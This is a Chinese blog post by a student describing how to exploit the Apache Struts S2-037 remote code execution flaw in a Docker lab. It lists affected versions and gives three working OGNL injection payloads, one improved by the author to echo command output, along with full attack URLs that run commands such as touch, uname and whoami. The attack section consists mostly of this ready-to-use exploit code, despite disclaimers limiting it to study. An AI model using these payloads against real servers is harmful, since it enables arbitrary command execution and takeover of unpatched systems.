Struts-S2-037漏洞利用,解决网上大部分POC不能回显

2017-08-03  本文已影响0人  心如水_0b05

Struts-s2-037

此文仅供大家交流学习,严禁非法使用

一、参考网址:

http://blog.csdn.net/qq_29277155/article/details/51672877
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-033

二、 影响版本:

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

三、 漏洞介绍:

当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。

四、 环境搭建:

(Linux)
使用的参考网址的docker搭建环境

$ docker pull medicean/vulapps:s_struts2_s2-033

$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033
-p 80:8080 前面的 80 代表物理机的端口,可随意指定。

五、 POC:

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success

POC(回显)(这个不容易,网上找的都无法实现回显,我费事的参照其他漏洞的输出方式将结果回显的)

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname

正规POC,后来找到的

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami

六、 测试网址:

第一个POC执行过程:
原始网页:

http://ip:8000/orders/3/

修改后网址:

http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success

七、执行结果

1.png

八、 第二个POC执行过程

原始网页

http://ip:8000/orders/3/

修改后网址:

http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname

执行结果


3.png

九、总结

回头看来,因为我之前吧s2-037当成s2-033先验证了,而真正的s2-033一直验证不成功,直至我把s2-033验证成功发现,虽然两个很相似,前提同为REST插件启用动态方法调用,但s2-037好像并没有要求<constant name="struts.enable.DynamicMethodInvocation" value="true" />,因为我是验证了s2-037,s2-033没有成功,添加了<constant name="struts.enable.DynamicMethodInvocation" value="true" />这句话后,才成功验证了s2-033

十、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

上一篇下一篇

猜你喜欢

热点阅读